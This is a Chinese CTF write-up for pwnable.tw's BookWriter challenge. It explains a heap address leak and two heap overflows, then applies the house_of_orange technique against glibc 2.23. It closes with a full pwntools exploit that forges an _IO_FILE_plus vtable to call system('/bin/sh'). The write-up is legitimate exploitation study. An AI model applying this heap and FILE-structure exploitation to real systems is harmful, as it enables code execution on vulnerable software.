【PWNABLE.TW】 BookWriter 解题思路

背景

最开始是发到了看雪论坛上的

最近在学习house_of_orange技术,house_of_orange技术已经和house_of_lore、house_of_Spirit一样,成为一种堆溢出利用技巧,思路来自ctf-HITCON-2016的同名题目。最近学习到这里,看了github上shellphish/how2heap中的讲解和多篇题解对漏洞触发条件依然不太理解,恰巧做到了pwnable.tw上的BookWriter题目,真正实践了一次。

题目分析

首先这是一道逻辑清晰的题目,主要有添加书页、浏览书页、编辑书页和查看信息功能。

其中定义了两个int[8]数组在BSS段,分别存储书页的地址和书页内容大小信息,两数组在BSS段上位置相邻。

  1. 添加操作使用从0~8顺序查找的方式,进行堆块申请,堆块大小由用户输入,并且用户此时可获得一次输入堆块内容的机会。

  2. 查看书页内容操作,用户可输入0~7的数字查询书页内容。

  3. 编辑操作,用户同样可输入0~7数字,根据存储在size数组的大小进行写入,并利用strlen函数,重新更新书页的size值。

  1. 查看信息。打印一系列信息。

题目中给出的libc.so版本是 2.23

#漏洞分析

堆地址泄露

可以主要到bss段上的排列顺序是char author_name[0x40]、int page[8]、int page_size[8]。在输入author_name时,输入长度是0x40,打印时使用%s,造成泄露page中存储的堆地址。

堆溢出

堆溢出漏洞有两处,第一处在edit函数中,用户输入完数据后,程序使用strlen函数重置page_size的值,当用户输入与下一堆块中的size相连时,strlen会返回用户输入长度+下一堆块size,再次编辑造成了下一堆块的size被篡改。第二处在于add函数中对允许写入的判断是i<=8,page[i]==NULL。可以发现&page[8] = &page[0]的地址,当page[0]被覆盖为一个堆块地址时,造成了对page[0]超长写入,可以覆盖到很远的地址,可以说是一个等号引发的血案了。

漏洞利用

整个程序中没有出现free函数,常规的UAF、Double free都不存在。看了很多的house_of_orange资料,恰好想到使用这种方法,这种攻击成功需要如下条件(shellphish上提供的方法):

  1. heap地址 2. 堆溢出 3. libc地址 4. libc 2.23及以下版本(2.24版本开始对vtable有check,不过也可以绕过)

house_of_orange思路简介:

  1. 首先修改top块的size,然后申请一个较大的块(不大于mmap申请的阈值,大于top块当前大小),当修改的size满足一定条件时,原来的top会被释放到unsorted bin。
  2. 通过堆溢出覆写原top内容,主要是构造IO_file_plus指针中的函数虚表,并伪造bk指针为unsorted bin攻击做铺垫。
  3. 当再次申请内存时,造成unsorted bin attack,将\__IO_list_all覆写为原top头地址,由于unsorted bin结构的破坏,程序异常,会在malloc中调用malloc_printerr函数进行错误打印,在malloc_printerr中调用__libc_message,进一步调用abort(),再调用 _IO_flush_all_lockp(),在其中调用了_IO_OVERFLOW(fp,EOF),这个函数是使用虚表调用,如果可以覆盖调用的虚表,就可以达到执行system(‘/bin/sh’)。

针对上述步骤可以在这道题中一一对照实现。

首先是修改top块的size,可以通过add一个块,edit两次进行对top头size的覆写,经过修改,top的地址与大小如图所示:

这个size块覆写必须满足两点要求,top块才可被释放到unsorted bin

1.size>=MINSIZE 2. pre_inuse 2. top地址+size-1 是页对齐的(以000结尾,比如此题中0x187a020+0xfe1-1 = 0x187b000)

当满足这一点时,再次申请一个较大堆块时就会把这个top块释放到unsorted bin中,值得注意的是,此题有一个在info函数中调用了scanf函数,scanf内部会申请一个0x1000大小的块,且不释放,就可以达到将原top头释放到unsorted bin的目的,并且可以此函数可以泄露堆地址。

由于申请小堆块是从unsorted bin直接切割,可以通过分配得到的堆块泄露libc地址(main_arena+88)。

接下来就可以堆溢出构造unsorted bin攻击了。

首先看漏洞的触发,在genops.c的_IO_flush_all_lockp (int do_lock)函数中,fp会从_IO_list_all开始,当不满足某条件时,循环修改fp = fp->chain,执行 _IO_OVERFLOW,_IO_list_all是一个_IO_FILE_plus类型的指针,在ibc中。

查看_IO_list_all内容,_IO_list_all是一个_IO_FILE_plus指针,指向_IO_2_2_stdout,

其中包含一个虚表vtable,用于函数调用,包括许多函数

因此,思路可以是通过unsorted bin,将_IO_list_all指针内容修改,可以改到main_arena+88也就是unsorted bin头的地址,当改成这个地址时,其内容时不满足执行_IO_OVERFLOW,转而去寻找位于chain这个位置的地址,继续执行。为了继续构造,可以去把这个地方的地址写成我们能控制内存的地址,这个位置是main_arena+216,是在fastbin链中,堆块大小为0x60的fastbin的地址,可以通过把unsorted bin中的原top挂到fastbin的方法来进一步利用,可把原top头的地址修改成0x61,并且修改bk指针为&_IO_list_all-0x10。这样通过malloc新建堆块时,由于unsorted bin中的堆块不唯一,就会把unsorted bin中堆块释放到bin中去,释放原top头时,会把该块挂载到fastbin[4],也就是我们期待的位置去,然后再处理bk指针,也就是_IO_list_all,会触发堆块大小为0的错误,进一步触发malloc_printerr 等一系列函数…

下一步就是在原top内伪造_IO_file_plus结构体,满足

1.fp->mode>0

2._IO_vtable_offset (fp) ==0

3.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

即可,构造的结构体如下:(不小心按错退出了,与原先的top地址有变化)

最终malloc一个堆块即可触发漏洞,获得shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
debug = 1
elf = ELF('./bookwriter')
if debug:
p = process('./bookwriter')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'

else:
pass

def add(num,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of page :')
p.sendline(str(num))
p.recvuntil('Content :')
p.send(content)
def view(num):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index of page :')
p.sendline(str(num))
def edit(num,content):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index of page :')
p.sendline(str(num))
p.recvuntil('Content:')
p.send(content)
def info(num,content):
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('(yes:1 / no:0) ')
p.sendline(str(num))
if(num):
p.recvuntil('Author :')
p.sendline(content)
else:
pass
def leak_heap():
p.recvuntil('Your choice :')
p.sendline('4')
p.recvuntil('a'*0x40)
result = u64(p.recvline()[0:-1].ljust(8,'\0'))
p.recvuntil('(yes:1 / no:0) ')
p.sendline('0')
return result #int(resultq[0:-1],10)
#gdb.attach(p,'b *0x400bdd')
p.recvuntil('Author :')
p.sendline('a'*0x40)
add(0x18,'a'*0x18) #0
edit(0,'a'*0x18)
edit(0,'\0'*0x18+'\xe1'+'\x0f'+'\0')
heap_addr = leak_heap()
for i in range(8):
add(0x40,'p4nda123')#2
view(2)
p.recvuntil('p4nda123')
libc_addr = u64(p.recvline()[0:-1].ljust(8,'\0'))


libc.address = libc_addr - 88 - 0x10 - libc.symbols['__malloc_hook']
print 'libc_addr:',hex(libc_addr)
print 'system: ',hex(libc.symbols['system'])
print 'heap: ',hex(heap_addr)
edit(0,'\0'*0x290+'/bin/sh\0'+p64(0x61)+p64(libc_addr)+p64(libc.symbols['_IO_list_all']-0x10)+p64(2)+p64(3)+p64(0)*9+p64(libc.symbols['system']) + p64(0)*11 + p64(heap_addr+0x120+0x60+0x170) )

p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of page :')
p.sendline(str(0x10))
p.interactive()

reference

https://www.anquanke.com/post/id/84987

https://zhuanlan.zhihu.com/p/31079264?utm_medium=social&utm_source=qq

http://www.cnblogs.com/shangye/p/6268981.html

https://github.com/shellphish/how2heap/blob/master/house_of_orange.c

https://www.sourceware.org/ml/libc-alpha/2016-02/msg00502.html

文章目录
  1. 1. 背景
  2. 2. 题目分析
    1. 2.1. 堆地址泄露
    2. 2.2. 堆溢出
  3. 3. 漏洞利用
  4. 4. EXP
  5. 5. reference
|